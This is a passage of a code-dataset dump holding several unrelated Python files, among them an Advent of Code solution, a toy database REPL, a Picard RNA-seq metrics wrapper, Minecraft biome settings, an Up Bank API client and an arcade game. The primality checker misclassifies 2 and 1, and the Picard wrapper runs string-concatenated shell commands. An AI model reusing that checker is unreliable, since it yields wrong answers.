sets.append(set(person))\n\n outset = sets[0]\n sets.pop(0)\n for pset in sets:\n outset = outset & pset\n\n answers.append(len(outset))\n\n return sum(answers)\n\n\n# %%\nprint(f\"Sum of anyone yes: {anyoneYes(batches)}.\")\nprint(f\"Sum of everyone yes: {everyoneYes(batches)}.\")\n\n# %%\n","sub_path":"day6/day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"654238463","text":"#!/usr/bin/python3\n\nimport sys\n\nimport typing\nfrom enum import Enum\n\n\nclass MetaCommandResult(Enum):\n META_COMMAND_SUCCESS = \"META_COMMAND_SUCCESS\"\n META_COMMAND_UNRECOGNIZED_COMMAND = \"META_COMMAND_UNRECOGNIZED_COMMAND\"\n\n\nclass PrepareResult(Enum):\n PREPARE_SUCCESS = \"PREPARE_SUCCESS\"\n PREPARE_SYNTAX_ERROR = \"PREPARE_SYNTAX_ERROR\"\n PREPARE_UNRECOGNIZED_STATEMENT = \"PREPARE_UNRECOGNIZED_STATEMENT\"\n\nclass ExecuteResult(Enum):\n EXECUTE_SUCCESS = \"EXECUTE_SUCCESS\"\n EXECUTE_TABLE_FULL = \"EXECUTE_TABLE_FULL\"\n\nclass Statement(Enum):\n pass\n\n\nclass StatementType(Statement):\n STATEMENT_INSERT = \"STATEMENT_INSERT\"\n STATEMENT_SELECT = \"STATEMENT_SELECT\"\n\n\nCONST_MAX_PAGES = 1024\nCONST_MAX_ROW_PER_PAGE = 4096\n\nclass RowTypeException(Exception):pass\n\nclass Table():\n\n def __init__(self, ):\n self.table_name = \"default table\"\n self.pages = CONST_MAX_PAGES\n self.index = [[]*CONST_MAX_PAGES]\n self.num_rows = 0\n self.fields = [(\"id\", int), (\"username\", str), (\"email\", str)]\n self.Row = typing.NamedTuple('Row', self.fields)\n \n def insert_row(self, row):\n page = 0\n self.index[page].append(self.serialize_row(row))\n self.num_rows +=1\n return \"inserted 1 in {}\".format(self.table_name)\n \n def select(self, line):\n select = []\n for i in self.index:\n select.extend(i)\n return select\n\n def serialize_row(self, line):\n \"\"\"\n Silently allow fields until handle exception better\n # RowTypeException\n \"\"\"\n values = line.split(\" \")[1:]\n result = []\n for f, v in zip(self.fields, values):\n try:\n result.append(f[1](v))\n except Exception:\n result.append(v)\n\n return self.Row._make(result)\n\n\ndef do_meta_command(line):\n \"\"\"\n @returns 0 or {MetaCommandResult}\n \"\"\"\n if line == \".exit\":\n exit(0)\n else:\n return MetaCommandResult.META_COMMAND_UNRECOGNIZED_COMMAND\n\n\ndef prepare_statement(line):\n \"\"\"\n @returns ( {PrepareResult}, {STATEMENT_TYPE} )\n \"\"\"\n if \"insert\" in line:\n STATEMENT_TYPE = StatementType.STATEMENT_INSERT\n input_buffer = line.split(\" \")\n\n # @TODO STRICTER ROW TYPE CHECKING\n # typings.NamedTuple does not explictly check\n if len(input_buffer) != 4:\n print('syntax error')\n return PrepareResult.PREPARE_SYNTAX_ERROR, STATEMENT_TYPE\n return PrepareResult.PREPARE_SUCCESS, STATEMENT_TYPE\n elif \"select\" in line:\n STATEMENT_TYPE = StatementType.STATEMENT_SELECT\n return PrepareResult.PREPARE_SUCCESS, STATEMENT_TYPE\n else:\n return PrepareResult.PREPARE_UNRECOGNIZED_STATEMENT, None\n\n\ndef execute_statement(statement, table, line):\n \"\"\"\n @returns {PrepareResult} \n or PREPARE_UNRECOGNIZED_STATEMENT\n \"\"\"\n if statement == StatementType.STATEMENT_INSERT:\n # print(\"This is where we would do an insert.\\n\")\n return ExecuteResult.EXECUTE_SUCCESS, execute_insert(line, table)\n elif statement == StatementType.STATEMENT_SELECT:\n # print(\"This is where we would do a select.\\n\")\n return ExecuteResult.EXECUTE_SUCCESS, execute_select(line, table)\n else:\n return None, None\n\ndef execute_insert(line, table):\n return table.insert_row(line)\n\n\ndef execute_select(line, table):\n return table.select(line)\n\n\ndef print_prompt():\n print(\"db > \")\n\n\n\ntable = Table()\ndef main(line=None):\n while True:\n print_prompt()\n user_input = line or input()\n user_input = user_input.strip()\n\n ## MetaCommand\n if user_input[0] == \".\":\n meta_command = do_meta_command(user_input)\n # DETECT_TYPE META_COMMAND_SUCCESS ENUM AND PICK COMMAND\n if meta_command == \"META_COMMAND_SUCCESS\":\n pass\n elif meta_command == MetaCommandResult.META_COMMAND_UNRECOGNIZED_COMMAND:\n print(\"Unrecognized command '{}'.\\n\".format(user_input))\n continue # EXIT META COMMAND\n\n ## Statement\n prepare_status, statement = prepare_statement(user_input)\n\n # STATEMENT DETECT_TYPE PREPARE_SUCCESS ENUM AND PICK STATEMENT\n if prepare_status == PrepareResult.PREPARE_SUCCESS:\n \n execute_status, results = execute_statement(statement, table, user_input)\n if execute_status == ExecuteResult.EXECUTE_SUCCESS:\n print('executed results:', results)\n print(\"Executed.\\n\");\n elif execute_status == ExecuteResult.EXECUTE_TABLE_FULL:\n print(\"Error: Table full.\\n\");\n elif prepare_status == PrepareResult.PREPARE_UNRECOGNIZED_STATEMENT:\n print(\"Unrecognized keyword at start of '{}'.\\n\".format(user_input))\n elif prepare_status == PrepareResult.PREPARE_SYNTAX_ERROR:\n print(\"Incorrect format for '{}' command.\\n\".format(statement))\n # Get around to break\n if line:\n break\n\n\nif __name__ == \"__main__\":\n if sys.stdin.isatty():\n main()\n else:\n for line in sys.stdin:\n main(line)\n","sub_path":"content/using_python/code/part3.py","file_name":"part3.py","file_ext":"py","file_size_in_byte":5173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"571428920","text":"#!/usr/bin/env python3\n\nimport argparse\nimport subprocess\nfrom datetime import datetime\nimport os, shutil\nfrom collections import defaultdict\nimport contextlib\n\n@contextlib.contextmanager\ndef cd(cd_path):\n saved_path = os.getcwd()\n os.chdir(cd_path)\n yield\n os.chdir(saved_path)\n\nparser = argparse.ArgumentParser(description='Collect alignment summary metrics using Picard.')\nparser.add_argument('input_bam', type=str, help='BAM file')\nparser.add_argument('prefix', type=str, help='Prefix for output files; usually ')\nparser.add_argument('fasta', type=str, help='Reference sequence fasta')\nparser.add_argument('ref_flat', type=str, help='Gene annotations in refFlat form')\nparser.add_argument('ribosomal_int', type=str, help='Location of rRNA sequences in genome, in interval_list format')\nparser.add_argument('--strand', type=str, default='NONE', help='For strand-specific library prep')\nparser.add_argument('--adapter', type=str, default='null',help='List of adapter sequences to use when processing the alignment metrics')\nparser.add_argument('-o', '--output_dir', default=os.getcwd(), help='Output directory')\nparser.add_argument('-m', '--memory', default='8', type=str, help='Memory, in GB')\nparser.add_argument('--max_records_in_ram', type=str, default='150000', help='Specifies the number of records stored in RAM before spilling to disk.')\nparser.add_argument('--tmp_dir', type=str, default=None, help='')\nparser.add_argument('--jar', default='/opt/picard-tools/picard.jar', help='Path to Picard jar')\nargs = parser.parse_args()\n\nif not os.path.exists(args.output_dir):\n os.makedirs(args.output_dir)\nif not os.path.exists(args.tmp_dir):\n os.makedirs(args.tmp_dir)\n\nwith cd(args.output_dir):\n cmd='java -jar -Xmx'+args.memory+'g '+args.jar \\\n +' CollectRnaSeqMetrics I='+args.input_bam \\\n +' O='+args.prefix+'.RNA_Metrics.txt' \\\n +' REF_FLAT='+args.ref_flat \\\n +' RIBOSOMAL_INTERVALS='+args.ribosomal_int \\\n +' STRAND_SPECIFICITY='+args.strand \\\n +' TMP_DIR='+args.tmp_dir \\\n +' MAX_RECORDS_IN_RAM='+args.max_records_in_ram \n subprocess.check_call(cmd, shell=True)\n\n cmd='java -jar -Xmx'+args.memory+'g '+args.jar \\\n +' CollectAlignmentSummaryMetrics I='+args.input_bam \\\n +' ADAPTER_SEQUENCE='+args.adapter \\\n +' O='+args.prefix+'.Summary_Metrics.txt' \\\n +' TMP_DIR='+args.tmp_dir \\\n +' MAX_RECORDS_IN_RAM='+args.max_records_in_ram \n subprocess.check_call(cmd, shell=True)\n\nprint('Finished QC Summary Metrics')\n","sub_path":"src/python/pipelines/rnaseq/run_SummaryMetrics.py","file_name":"run_SummaryMetrics.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"583563298","text":"from BlockTypes import blocks\n# biome names come from biome_types.py\n# material names are currently hardcoded\n# block id's can be found at https://minecraft-ids.grahamedgecombe.com/\nbiomeSettings = {\n \"Plains\": { # Default\n \"wall\": blocks['Oak Wood Planks'],\n \"fence\": blocks['Oak Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Cobblestone'],\n \"door\": blocks['Oak Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Oak Wood'],\n 'hedge': blocks['Oak Leaves'],\n 'roof': blocks['Stone Bricks'],\n 'crop': blocks['Wheat'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Oak Wood Planks']\n },\n \"Desert\": {\n \"wall\": blocks['Chiseled Sandstone'], \n \"fence\": blocks['Acacia Fence'],\n \"floor\": blocks['Sandstone'],\n \"road\": blocks['Smooth Sandstone'],\n \"door\": blocks['Air'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Smooth Sandstone'],\n 'hedge': blocks['Cactus'],\n 'roof': blocks['Sandstone'],\n 'crop': blocks['Cactus'],\n 'soil': blocks['Sand'],\n 'bridge': blocks['Chiseled Sandstone']\n },\n \"Forest\": {\n \"wall\": blocks['Oak Wood Planks'],\n \"fence\": blocks['Oak Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Stone'],\n \"door\": blocks['Oak Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Oak Wood'],\n 'hedge': blocks['Oak Leaves'],\n 'roof': blocks['Stone Bricks'],\n 'crop': blocks['Wheat'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Oak Wood Planks']\n },\n \"Jungle\": {\n \"wall\": blocks['Jungle Wood Planks'],\n \"fence\": blocks['Jungle Fence'],\n \"floor\": blocks['Moss Stone'],\n \"road\": blocks['Moss Stone'],\n \"door\": blocks['Jungle Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Jungle Wood'],\n 'hedge': blocks['Jungle Leaves'],\n 'roof': blocks['Mossy Stone Bricks'],\n 'crop': blocks['Wheat'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Jungle Wood Planks']\n },\n \"Taiga\": {\n \"wall\": blocks['Spruce Wood Planks'],\n \"fence\": blocks['Spruce Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Chiseled Stone Bricks'],\n \"door\": blocks['Spruce Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Spruce Wood'],\n 'hedge': blocks['Spruce Leaves'],\n 'roof': blocks['Stone Bricks'],\n 'crop': blocks['Potatoes'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Spruce Wood Planks']\n },\n \"Swamp\": {\n \"wall\": blocks['Oak Wood Planks'],\n \"fence\": blocks['Oak Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Moss Stone'],\n \"door\": blocks['Oak Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Oak Wood'],\n 'hedge': blocks['Oak Leaves'],\n 'roof': blocks['Stone Bricks'],\n 'crop': blocks['Potatoes'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Oak Wood Planks']\n },\n \"Birch Forest\": {\n \"wall\": blocks['Birch Wood Planks'],\n \"fence\": blocks['Birch Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Stone Bricks'],\n \"door\": blocks['Birch Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Birch Wood'],\n 'hedge': blocks['Birch Leaves'],\n 'roof': blocks['Stone Bricks'],\n 'crop': blocks['Carrots'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Birch Wood Planks']\n },\n \"Dark Forest\": {\n \"wall\": blocks['Dark Oak Wood Planks'],\n \"fence\": blocks['Dark Oak Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Stone'],\n \"door\": blocks['Dark Oak Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Dark Oak Wood'],\n 'hedge': blocks['Dark Oak Leaves'],\n 'roof': blocks['Stone Bricks'],\n 'crop': blocks['Wheat'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Dark Oak Wood Planks']\n },\n \"River Beach\": {\n \"wall\": blocks['Oak Wood Planks'],\n \"fence\": blocks['Oak Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Stone'],\n \"door\": blocks['Oak Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Oak Wood'],\n 'hedge': blocks['Sugar Cane'],\n 'roof': blocks['Stone Bricks'],\n 'crop': blocks['Sugar Cane'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Oak Wood Planks']\n },\n \"Ice\": {\n \"wall\": blocks['Quartz Block'],\n \"fence\": blocks['Oak Fence'],\n \"floor\": blocks['Chiseled Quartz Block'],\n \"road\": blocks['Moss Stone'],\n \"door\": blocks['Oak Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Piller Quartz Block'],\n 'hedge': blocks['Snow Block'],\n 'roof': blocks['Quartz Block'],\n 'crop': blocks['Potatoes'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Piller Quartz Block']\n },\n \"Mountains\": {\n \"wall\": blocks['Bricks'],\n \"fence\": blocks['Oak Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Stone Bricks'],\n \"door\": blocks['Oak Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Oak Wood'],\n 'hedge': blocks['Oak Leaves'],\n 'roof': blocks['Stone Bricks'],\n 'crop': blocks['Wheat'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Mossy Stone Bricks']\n },\n \"Mushroom\": {\n \"wall\": blocks['Oak Wood Planks'],\n \"fence\": blocks['Oak Fence'],\n \"floor\": blocks['Polished Granite'],\n \"road\": blocks['Moss Stone'],\n \"door\": blocks['Oak Door Block'],\n 'window': blocks['Red Stained Glass Pane'],\n \"beam\": blocks['Hardened Clay'],\n 'hedge': blocks['Red Mushroom'],\n 'roof': blocks['Polished Granite'],\n 'crop': blocks['Red Mushroom'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Oak Wood Planks']\n },\n\t\"Savanna\": {\n \"wall\": blocks['Acacia Wood Planks'],\n \"fence\": blocks['Acacia Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Mossy Stone Bricks'],\n \"door\": blocks['Acacia Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Acacia Wood'],\n 'hedge': blocks['Acacia Leaves'],\n 'roof': blocks['Stone Bricks'],\n 'crop': blocks['Wheat'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Acacia Wood Planks']\n },\n \"Badlands\": {\n \"wall\": blocks['White Glazed Terracotta'],\n \"fence\": blocks['Oak Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Gray Glazed Terracotta'],\n \"door\": blocks['Oak Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Black Glazed Terracotta'],\n 'hedge': blocks['Cactus'],\n 'roof': blocks['Gray Glazed Terracotta'],\n 'crop': blocks['Cactus'],\n 'soil': blocks['Red Sand'],\n 'bridge': blocks['Yellow Glazed Terracotta']\n },\n \"Aquatic\": {\n \"wall\": blocks['Oak Wood Planks'],\n \"fence\": blocks['Oak Fence'],\n \"floor\": blocks['Stone Bricks'],\n \"road\": blocks['Mossy Stone Bricks'],\n \"door\": blocks['Oak Door Block'],\n 'window': blocks['Glass Pane'],\n \"beam\": blocks['Oak Wood'],\n 'hedge': blocks['Oak Leaves'],\n 'roof': blocks['Mossy Stone Bricks'],\n 'crop': blocks['Sugar Cane'],\n 'soil': blocks['Farmland'],\n 'bridge': blocks['Oak Wood Planks']\n }\n}\n","sub_path":"stock-filters/ChirpVillage/Biomes/BiomeSettings.py","file_name":"BiomeSettings.py","file_ext":"py","file_size_in_byte":7867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"240445610","text":"def Primo_NoPrimo(n): \n \n\n if (n < 1 or n == 2): \n return False\n if (n <= 3): \n return True\n \n if (n % 2 == 0 or n % 3 == 0): \n return False\n \n i = 5\n while(i * i <= n): \n if (n % i == 0 or n % (i + 2) == 0): \n return False\n i = i + 6\n \n return True\n \nnumeroide = int(input(\"Ingresa un numero para chequear si es primo:\\n\"))\n\nif (Primo_NoPrimo(numeroide)): \n print(\"Es primo\") \nelse : \n print(\"No es primo\") \n ","sub_path":"58157 - Graffigna, Santiago/TP1/Ej6.py","file_name":"Ej6.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"586276737","text":"from __future__ import annotations\r\nfrom datetime import datetime\r\nfrom typing import Dict, Optional, Union\r\nfrom uuid import UUID\r\nfrom yarl import URL\r\nfrom asyncupbankapi.httpSession import HttpSession\r\nfrom asyncupbankapi.const import BASE_URL, PAGE_SIZE\r\nfrom asyncupbankapi.models.accounts import Account, Accounts\r\nfrom asyncupbankapi.models.categories import Category, Categories\r\nfrom asyncupbankapi.models.tags import Tags\r\nfrom asyncupbankapi.models.transactions import Transaction, Transactions\r\nfrom asyncupbankapi.models.utility import Ping\r\nfrom asyncupbankapi.models.webhooks import Webhook, WebhookEvent, WebhookLogs, Webhooks\r\n\r\n\r\nclass Client:\r\n def __init__(self, token: Optional[str] = None) -> None:\r\n \"\"\"UP Bank API Client.\r\n\r\n :param token: UP Bank Token if not provided fetches \"UP_TOKEN\" from environment variables\r\n \"\"\"\r\n self._session = HttpSession(token)\r\n self.webhook = WebhookAdapter(self._session)\r\n\r\n async def close(self) -> None:\r\n await self._session.close()\r\n\r\n async def ping(self) -> Ping:\r\n \"\"\"Returns the users unique id and emoji and will raise an exception if the token is not valid.\"\"\"\r\n return Ping.parse_obj(await self._session.get(f\"{BASE_URL}/util/ping\"))\r\n\r\n async def accounts(\r\n self, limit: Optional[int] = None, page_size: int = None,\r\n ) -> Accounts:\r\n \"\"\"Returns a list of the users accounts.\r\n\r\n :param limit: maximum number of records to return (set to None for all transactions)\r\n :param page_size: number of records to fetch in each request (max 100)\r\n \"\"\"\r\n params = {}\r\n\r\n if limit and page_size and limit < page_size:\r\n page_size = limit\r\n\r\n if page_size:\r\n params.update({PAGE_SIZE: str(page_size)})\r\n\r\n return Accounts(\r\n data=await self._session.get(f\"{BASE_URL}/accounts\", params=params),\r\n session=self._session,\r\n limit=limit)\r\n\r\n async def account(self, account_id: UUID) -> Account:\r\n \"\"\"Returns a single account by its unique account id.\"\"\"\r\n return Account(\r\n data=await self._session.get(f\"{BASE_URL}/accounts/{account_id}\"),\r\n session=self._session)\r\n\r\n async def transactions(\r\n self,\r\n limit: Optional[int] = None,\r\n page_size: Optional[int] = None,\r\n status: Optional[str] = None,\r\n since: Optional[datetime] = None,\r\n until: Optional[datetime] = None,\r\n category: Optional[str] = None,\r\n tag: Optional[str] = None\r\n ) -> Transactions:\r\n \"\"\"Returns transactions for a specific account or all accounts.\r\n\r\n :param limit maximum number of records to return (set to None for all transactions)\r\n :param page_size number of records to fetch in each request (max 100)\r\n :param status:\r\n :param since:\r\n :param until:\r\n :param category:\r\n :param tag:\r\n :param account_id: optionally supply a unique id of the account to fetch transactions from\r\n \"\"\"\r\n if limit and page_size and limit < page_size:\r\n page_size = limit\r\n\r\n params = {}\r\n\r\n if page_size:\r\n params.update({PAGE_SIZE: str(page_size)})\r\n if status:\r\n params.update({\"filter[status]\": status})\r\n if since:\r\n params.update({\"filter[since]\": since.astimezone().isoformat()})\r\n if until:\r\n params.update({\"filter[until]\": until.astimezone().isoformat()})\r\n if category:\r\n params.update({\"filter[category]\": category})\r\n if tag:\r\n params.update({\"filter[tag]\": tag})\r\n\r\n return Transactions(\r\n data=await self._session.get(f\"{BASE_URL}/transactions\", params=params),\r\n session=self._session,\r\n limit=limit)\r\n\r\n async def transaction(self, transaction_id: UUID) -> Transaction:\r\n \"\"\"Returns a single transaction by its unique id.\"\"\"\r\n return Transaction(\r\n data=await self._session.get(f\"{BASE_URL}/transactions/{transaction_id}\"),\r\n session=self._session)\r\n\r\n async def categories(self, parent: Optional[str] = None) -> Categories:\r\n \"\"\"Returns a list of cateogries.\"\"\"\r\n if parent:\r\n return Categories.parse_obj(await self._session.get(f\"{BASE_URL}/categories\", params={\"filter[parent\": parent}))\r\n return Categories.parse_obj(await self._session.get(f\"{BASE_URL}/categories\"))\r\n\r\n async def category(self, category_id: str) -> Category:\r\n \"\"\"Returns a single Category by its unique id.\"\"\"\r\n return Category.parse_obj(await self._session.get(f\"{BASE_URL}/categories/{category_id}\"))\r\n\r\n async def tags(self) -> Tags:\r\n \"\"\"Retrieve a list of all tags currently in use. The returned list is paginated and can be scrolled by following the next and prev links where present. Results are ordered lexicographically. The transactions relationship for each tag exposes a link to get the transactions with the given tag.\"\"\"\r\n return Tags.parse_obj(await self._session.get(f\"{BASE_URL}/tags\"))\r\n\r\n async def webhooks(self, limit: Optional[int] = None, page_size: Optional[int] = None) -> Webhooks:\r\n \"\"\"Returns a list of the users webhooks.\r\n\r\n :param limit: maximum number of records to return (set to None for all records)\r\n :param page_size: number of records to fetch in each request (max 100)\r\n \"\"\"\r\n if limit and page_size and limit < page_size:\r\n page_size = limit\r\n\r\n params = {}\r\n\r\n if page_size:\r\n params.update({PAGE_SIZE: str(page_size)})\r\n\r\n return Webhooks(\r\n data=await self._session.get(f\"{BASE_URL}/webhooks\", params=params),\r\n session=self._session,\r\n limit=limit)\r\n\r\n\r\nclass WebhookAdapter:\r\n def __init__(self, session: HttpSession):\r\n self._session = session\r\n\r\n async def __call__(self, webhook_id: UUID) -> Webhook:\r\n \"\"\"Returns a single webhook by its unique id.\r\n\r\n :param webhook_id: The unique identfier of the webhook.\"\"\"\r\n return await self.get(webhook_id)\r\n\r\n async def get(self, webhook_id: UUID) -> Webhook:\r\n \"\"\"Returns a single webhook by its unique id.\r\n\r\n :param webhook_id: The unique identfier of the webhook.\"\"\"\r\n return Webhook(\r\n data=await self._session.get(f\"{BASE_URL}/webhooks/{webhook_id}\"),\r\n session=self._session)\r\n\r\n async def create(self, url: URL, description: Optional[str] = None) -> Webhook:\r\n \"\"\"Create a new webhook with the given URL.\r\n\r\n :param url: The URL that this webhook should post events to. This must be a valid HTTP or HTTPS URL that does not exceed 300 characters in length.\r\n :param description: An optional description for this webhook, up to 64 characters in length.\r\n \"\"\"\r\n\r\n # Build the input requests payload.\r\n attributes: Dict[str, Union[str, URL]]\r\n attributes = {}\r\n attributes.update({\"url\": url})\r\n\r\n if description:\r\n attributes.update({\"description\": description})\r\n\r\n data = {}\r\n\r\n data.update({\"attributes\": attributes})\r\n\r\n payload = {}\r\n payload.update({\"data\": data})\r\n\r\n return Webhook(data=await self._session.post(f\"{BASE_URL}/webhooks\", payload=payload), session=self._session)\r\n\r\n async def logs(self, webhook_id: UUID, limit: Optional[int] = None, page_size: Optional[int] = None) -> WebhookLogs:\r\n \"\"\"Returns a list of webhook logs.\r\n\r\n :param webhook_id: The unique identfier of the webhook.\r\n :param limit: maximum number of records to return (set to None for all records)\r\n :param page_size: number of records to fetch in each request (max 100)\"\"\"\r\n\r\n if limit and page_size and limit < page_size:\r\n page_size = limit\r\n\r\n params = {}\r\n\r\n if page_size:\r\n params.update({PAGE_SIZE: str(page_size)})\r\n\r\n return WebhookLogs(data=await self._session.get(f\"{BASE_URL}/webhooks/{webhook_id}/logs\"), session=self._session, limit=limit)\r\n\r\n async def ping(self, webhook_id: str) -> WebhookEvent:\r\n \"\"\"Pings a webhook by its unique id.\"\"\"\r\n return WebhookEvent.parse_obj(await self._session.post(f\"{BASE_URL}/webhooks/{webhook_id}/ping\"))\r\n\r\n async def delete(self, webhook_id: UUID) -> None:\r\n \"\"\"Delete a single webhook by its unique id.\"\"\"\r\n await self._session.delete(f\"{BASE_URL}webhooks/{webhook_id}\")\r\n","sub_path":"asyncupbankapi/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":8577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"430491184","text":"import arcade.key\nfrom random import randint\n\nGRAVITY = -1\nMAX_VX = 10\nACCX = 1\nJUMP_VY = 15\n\nDOT_RADIUS = 40\nPLATFORM_MARGIN = 5\n\nCOIN_RADIUS = 32\nCOIN_Y_OFFSET = 20\nCOIN_MARGIN = 12\nCOIN_HIT_MARGIN = 12\n\nclass Model:\n def __init__(self, world, x, y, angle):\n self.world = world\n self.x = x\n self.y = y\n self.angle = 0\n\n \nclass Dot(Model):\n def __init__(self, world, x, y):\n super().__init__(world, x, y, 0)\n self.vx = 0\n self.vy = 0\n self.is_jump = False\n\n self.platform = None\n \n def jump(self):\n if not self.platform:\n return\n \n if not self.is_jump:\n self.is_jump = True\n self.vy = JUMP_VY\n \n def update(self, delta):\n if self.vx < MAX_VX:\n self.vx += ACCX\n\n self.x += self.vx\n\n if self.is_jump:\n self.y += self.vy\n self.vy += GRAVITY\n\n new_platform = self.find_touching_platform()\n if new_platform:\n self.vy = 0\n self.set_platform(new_platform)\n else:\n if (self.platform) and (not self.is_on_platform(self.platform)):\n self.platform = None\n self.is_jump = True\n self.vy = 0\n \n def bottom_y(self):\n return self.y - (DOT_RADIUS // 2)\n \n def set_platform(self, platform):\n self.is_jump = False\n self.platform = platform\n self.y = platform.y + (DOT_RADIUS // 2)\n\n \n def is_on_platform(self, platform, margin=PLATFORM_MARGIN):\n if not platform.in_top_range(self.x):\n return False\n \n if abs(platform.y - self.bottom_y()) <= PLATFORM_MARGIN:\n return True\n\n return False\n\n \n def is_falling_on_platform(self, platform):\n if not platform.in_top_range(self.x):\n return False\n \n if self.bottom_y() - self.vy > platform.y > self.bottom_y():\n return True\n \n return False\n \n\n def find_touching_platform(self):\n platforms = self.world.platforms\n for p in platforms:\n if self.is_falling_on_platform(p):\n return p\n return None\n\nclass Coin:\n def __init__(self, x, y, width, height):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n self.is_collected = False\n\n def hit(self, dot):\n return ((abs(self.x - dot.x) < COIN_HIT_MARGIN) and\n (abs(self.y - dot.y) < COIN_HIT_MARGIN))\n \n \nclass Platform:\n def __init__(self, world, x, y, width, height):\n self.world = world\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n\n def in_top_range(self, x):\n return self.x <= x <= self.x + self.width\n\n def right_most_x(self):\n return self.x + self.width\n\n def spawn_coins(self):\n coins = []\n x = self.x + COIN_MARGIN\n while x + COIN_MARGIN <= self.right_most_x():\n coins.append(Coin(x, self.y + COIN_Y_OFFSET,\n COIN_RADIUS, COIN_RADIUS))\n x += COIN_MARGIN + COIN_RADIUS\n return coins\n\n \nclass World:\n STATE_FROZEN = 1\n STATE_STARTED = 2\n STATE_DEAD = 3\n\n def __init__(self, width, height):\n self.width = width\n self.height = height\n\n self.dot = Dot(self, 0, 120)\n self.init_platforms()\n \n self.dot.set_platform(self.platforms[0])\n self.state = World.STATE_FROZEN\n self.score = 0\n\n def init_platforms(self):\n self.platforms = [\n Platform(self, 0, 100, 500, 50),\n Platform(self, 550, 150, 500, 50),\n Platform(self, 1100, 100, 500, 50),\n ]\n self.coins = []\n for p in self.platforms:\n self.coins += p.spawn_coins() \n\n def update(self, delta):\n if self.state in [World.STATE_FROZEN, World.STATE_DEAD]:\n return\n self.dot.update(delta)\n self.recycle_platform()\n self.collect_coins()\n self.remove_old_coins()\n\n if self.dot.y < -5:\n self.state = World.STATE_DEAD\n \n def collect_coins(self):\n for c in self.coins:\n if (not c.is_collected) and (c.hit(self.dot)):\n c.is_collected = True\n self.score += 1\n\n \n def too_far_left_x(self):\n return self.dot.x - self.width\n\n\n def remove_old_coins(self):\n far_x = self.too_far_left_x()\n if self.coins[0].x >= far_x:\n return\n self.coins = [c for c in self.coins if c.x >= far_x]\n\n \n def recycle_platform(self):\n far_x = self.too_far_left_x()\n for p in self.platforms:\n if p.right_most_x() < far_x:\n last_x = max([pp.right_most_x() for pp in self.platforms])\n p.x = last_x + randint(50,200)\n p.y = randint(100,200)\n self.coins += p.spawn_coins()\n\n\n def on_key_press(self, key, key_modifiers):\n if key == arcade.key.SPACE:\n self.dot.jump()\n\n def start(self):\n self.state = World.STATE_STARTED\n \n def freeze(self):\n self.state = World.STATE_FROZEN \n \n def is_started(self):\n return self.state == World.STATE_STARTED\n\n def die(self):\n self.state = World.STATE_DEAD\n \n def is_dead(self):\n return self.state == World.STATE_DEAD\n","sub_path":"arcade-dotrun/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"180629191","text":"import asyncio\nimport json\nimport logging\nfrom abc import ABC, abstractmethod\nfrom datetime import datetime\nfrom typing import Any, AsyncIterable, Callable, Dict, Optional\n\nfrom gql import Client, gql\nfrom gql.transport.aiohttp import AIOHTTPTransport\nfrom gql.transport.appsync_auth import AppSyncAuthentication\nfrom gql.transport.appsync_websockets import AppSyncWebsocketsTransport\nfrom graphql import DocumentNode\n\nfrom hummingbot.connector.exchange.polkadex import polkadex_constants as CONSTANTS\nfrom hummingbot.logger import HummingbotLogger\n\n\nclass BaseQueryExecutor(ABC):\n @abstractmethod\n async def all_assets(self):\n raise NotImplementedError # pragma: no cover\n\n @abstractmethod\n async def 